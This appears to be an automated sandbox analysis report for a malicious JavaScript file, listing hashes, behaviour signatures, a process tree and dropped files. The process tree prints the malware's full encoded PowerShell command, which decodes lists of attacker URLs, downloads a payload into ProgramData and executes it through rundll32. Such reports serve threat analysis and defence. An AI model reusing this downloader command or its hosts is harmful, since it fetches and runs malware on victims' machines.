Analysis

  • max time kernel
    135s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-05-2023 17:24

General

  • Target

    fungicideCorejo.js

  • Size

    307KB

  • MD5

    e83b3a0ea3984b70a35db4fe7bb7c4a9

  • SHA1

    a130d85853d7f7a577e779c17b922cbd02bc2e26

  • SHA256

    26a88d3268fdddf29def9ce238fd5d18955fa62b720d2df6d095e919b14e6bf0

  • SHA512

    63fee6387993cf941e19210f873d329bd644e3876d66cd7b839a9c88f7c4d53d3da75345890c36b220c4a79e1f26f231cc5a13fc8fefb753231877941d4326ef

  • SSDEEP

    3072:zuZB3jhBc61zKPcuV0eYMrmrFPhOdDIu8xgCXFpBBQ65egF2Kf8kqyjxLEY3wQiL:mph5uV0XFPhqDIjgcbBT5egFFlTxLiBL

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\fungicideCorejo.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4752
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\ProgramData\CommittiturDihydroergotamine.js" shopsoiled KoeksotenokCachet
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "$ M o n u m e n t l e s s K a l m i a s   =   " a A B 0 A H Q A c A B z A D o A L w A v A G 0 A Y Q B s A G E A Y w B v A H M A b w B t A G E A L g B i A G w A b w B n A A = = s J q Z a A B 0 A H Q A c A B z A D o A L w A v A D I A M A A 1 A C 4 A M Q A 0 A D g A L g A x A D Q A O A A u A D I A M g A w A A = = s J q Z a A B 0 A H Q A c A B z A D o A L w A v A E E A b Q B p A G Q A b w B z A H U A Y w B j A G k A b g B h A G 0 A a Q B j A E E A b A B s A G 8 A d A B 5 A H A A Z Q B z A C 4 A c g B l A G k A c w B l A A = = " ; $ h e r a c l e o n i t e   =   " a A B 0 A H Q A c A B z A D o A L w A v A G Q A Z Q B u A G k A Y w B v A H Q A a Q B u A G k A e g B p A G 4 A Z w A u A H Q A Y Q B 4 A A = = K l s D a A B 0 A H Q A c A B z A D o A L w A v A G k A b g B 0 A G U A c g B w A H Q A Z Q B y A H k A Z w B v A G k A Z A B T A G U A a Q B z A G k A b g B n A H M A L g B 0 A G U A Y w B o A G 4 A b w B s A G 8 A Z w B 5 A A = = K l s D a A B 0 A H Q A c A B z A D o A L w A v A D c A N g A u A D g A M w A u A D k A M g A u A D E A M w A z A A = = K l s D a A B 0 A H Q A c A B z A D o A L w A v A D E A N Q A 0 A C 4 A M Q A 2 A D c A L g A 2 A D c A L g A x A D E A M Q A = " ; $ S t u n n e r s   =   " a A B 0 A H Q A c A B z A D o A L w A v A F Q A a A B h A H U A b Q B h A G 4 A d A B p A G E A c w B V A G 4 A Y Q B 2 A G 8 A d w B h A G I A b A B 5 A C 4 A Z A B l A G w A a Q B 2 A G U A c g B 5 A A = = a H v J a A B 0 A H Q A c A B z A D o A L w A v A D E A N w A z A C 4 A M g A x A D I A L g A x A D k A M Q A u A D c A M Q A = a H v J a A B 0 A H Q A c A B z A D o A L w A v A F c A Z Q B h A H I A Z Q B y A C 4 A c w B 1 A H I A Z w B l A H I A e Q A = " ; $ v i n a i g r e t t e s   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A 3 A D k A L g A x A D M A N w A u A D E A M Q A w A C 4 A M Q A 2 A D g A L w B h A C 8 A R Q B B A H I A v a A B 0 A H Q A c A A 6 A C 8 A L w A x A D U A M A A u A D E A M g A 3 A C 4 A M Q A 0 A D U A L g A y A D E A O Q A v A D k A Q w A v A H A A S A A = v a A B 0 A H Q A c A A 6 A C 8 A L w A x A D k A N Q A u A D c A M Q A u A D E A N Q A y A C 4 A N w A z A C 8 A M Q B 5 A C 8 A c Q B m A A = = v a A B 0 A H Q A c A A 6 A C 8 A L w A 1 A D M A L g A x A D c A O A A u A D Y A O Q A u A D E A N g A 1 A C 8 A Q Q A v A G 8 A Q w A 1 A A = = v a A B 0 A H Q A c A A 6 A C 8 A L w A x A D Q A O Q A u A D E A N Q A 0 A C 4 A M Q A 1 A D k A L g A 5 A D g A L w B Q A H A A V Q B Z A F g A L w B v A D M A b w B t A F U A v a A B 0 A H Q A c A A 6 A C 8 A L w A x A D k A M g A u A D E A M g A x A C 4 A M g A z A C 4 A M Q A w A D Q A L w B U A E w A R w B o A E 4 A Z A A v A G 4 A W Q A 3 A D U A Z w B w A F Y A O A B N A G U A Y g A = v a A B 0 A H Q A c A A 6 A C 8 A L w A x A D k A M g A u A D E A M g A x A C 4 A M g A z A C 4 A N g A x A C 8 A O Q B h A D Y A N w B w A G U A c w A v A H g A e A B E A E U A V g B N A H k A W Q B 5 A A = = " ; f o r e a c h   ( $ A c h r o m a t i n i c D i s c o g l o s s i d a e   i n   $ v i n a i g r e t t e s   - s p l i t   " v " )   { t r y   { $ R e t r e a d   =   " a A B 0 A H Q A c A B z A D o A L w A v A D I A N A A 2 A C 4 A M Q A 2 A D c A L g A 4 A D Q A L g A 5 A D c A l K Q a A B 0 A H Q A c A A 6 A C 8 A L w A y A D I A N w A u A D E A O A A y A C 4 A M Q A z A D k A L g A x A D A A M w A = " ; $ c o c c o l i t h o p h o r i d   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t S t r i n g ( [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ A c h r o m a t i n i c D i s c o g l o s s i d a e ) ) ; I n v o k e - W e b R e q u e s t   $ c o c c o l i t h o p h o r i d   - O   $ e n v : P r o g r a m D a t a \ b a f f l i n g n e s s U s e d n e s s . h a t t i z e ; $ S p l a s h i e r S h e r o o t   =   " a A B 0 A H Q A c A B z A D o A L w A v A E 0 A Y Q B 2 A G 8 A d Q B y A G 4 A Z Q B l A G 4 A R A B l A G 0 A Z Q B h A G 4 A c w A u A G M A b w A = " ; $ G a n t r i e s M a c e r a t o r s   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A 0 A D Y A L g A x A D g A O Q A u A D E A O Q A 5 A C 4 A O A A x A A = = v j Y A a A B 0 A H Q A c A A 6 A C 8 A L w A x A D E A O Q A u A D E A N A A 1 A C 4 A M Q A 0 A D E A L g A x A D I A M w A = v j Y A a A B 0 A H Q A c A A 6 A C 8 A L w A 0 A D Y A L g A 2 A D k A L g A 3 A D U A L g A x A D A A O A A = v j Y A a A B 0 A H Q A c A B z A D o A L w A v A D I A M w A z A C 4 A N A A 3 A C 4 A M Q A z A D E A L g A x A D g A N w A = " ; $ c o m m u n i c a t e s S u p e r t e r r e s t i a l   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B w A G 8 A d w B l A H I A Y Q B i A G w A e Q B T A G g A a Q B 0 A H Q A e Q A u A H c A a Q B u A A = = R x O a A B 0 A H Q A c A A 6 A C 8 A L w A y A D I A O Q A u A D E A M Q A 0 A C 4 A M g A z A D g A L g A y A D A A N w A = R x O a A B 0 A H Q A c A B z A D o A L w A v A G M A b w B s A G w A b w B p A G Q A Y Q B s A C 4 A c w B v A G w A d Q B 0 A G k A b w B u A H M A " ; i f   ( ( G e t - I t e m   - P a t h   $ e n v : P r o g r a m D a t a \ b a f f l i n g n e s s U s e d n e s s . h a t t i z e ) . L e n g t h   - g e   2 7 3 2 1 4 ) { p o w e r s h e l l   - e n c o d e d c o m m a n d   " c w B 0 A G E A c g B 0 A C A A c g B 1 A G 4 A Z A B s A G w A M w A y A C A A J A B l A G 4 A d g A 6 A F A A c g B v A G c A c g B h A G 0 A R A B h A H Q A Y Q B c A G I A Y Q B m A G Y A b A B p A G 4 A Z w B u A G U A c w B z A F U A c w B l A G Q A b g B l A H M A c w A u A G g A Y Q B 0 A H Q A a Q B 6 A G U A L A B i A G k A b g B k A D s A " ; $ b r i l l i a n t w i s e U n a t t e n u a t e d   =   " a A B 0 A H Q A c A B z A D o A L w A v A G 4 A Y Q B 1 A G w A d Q B t A E U A e A B w A G w A b w B k A G U A L g B z A G s A a Q A = i N i a A B 0 A H Q A c A B z A D o A L w A v A D I A M g A 1 A C 4 A M Q A z A D U A L g A x A D M A O A A u A D E A M Q A x A A = = i N i a A B 0 A H Q A c A A 6 A C 8 A L w B B A G U A c g B h A H I A a Q B h A G 4 A Q w B 5 A H M A d A B v A H I A Y Q B k A G k A b w B n A H I A Y Q B w A G g A e Q A u A G M A b g A = i N i a A B 0 A H Q A c A B z A D o A L w A v A F A A Z Q B s A G 8 A c g B p A H o A Z Q A u A G Y A b w B 1 A G 4 A Z A B h A H Q A a Q B v A G 4 A " ; b r e a k ; } }   c a t c h   { S t a r t - S l e e p   - S e c o n d s   3 ; } } "
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3312

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\CommittiturDihydroergotamine.js

    Filesize

    307KB

    MD5

    e83b3a0ea3984b70a35db4fe7bb7c4a9

    SHA1

    a130d85853d7f7a577e779c17b922cbd02bc2e26

    SHA256

    26a88d3268fdddf29def9ce238fd5d18955fa62b720d2df6d095e919b14e6bf0

    SHA512

    63fee6387993cf941e19210f873d329bd644e3876d66cd7b839a9c88f7c4d53d3da75345890c36b220c4a79e1f26f231cc5a13fc8fefb753231877941d4326ef

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tpx5rvtb.5qr.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3312-144-0x000001FDA6130000-0x000001FDA6152000-memory.dmp

    Filesize

    136KB

  • memory/3312-145-0x000001FDA6120000-0x000001FDA6130000-memory.dmp

    Filesize

    64KB

  • memory/3312-146-0x000001FDA6120000-0x000001FDA6130000-memory.dmp

    Filesize

    64KB

  • memory/3312-147-0x000001FDA6120000-0x000001FDA6130000-memory.dmp

    Filesize

    64KB

  • memory/3312-148-0x000001FDA6120000-0x000001FDA6130000-memory.dmp

    Filesize

    64KB

  • memory/3312-149-0x000001FDA6F40000-0x000001FDA76E6000-memory.dmp

    Filesize

    7.6MB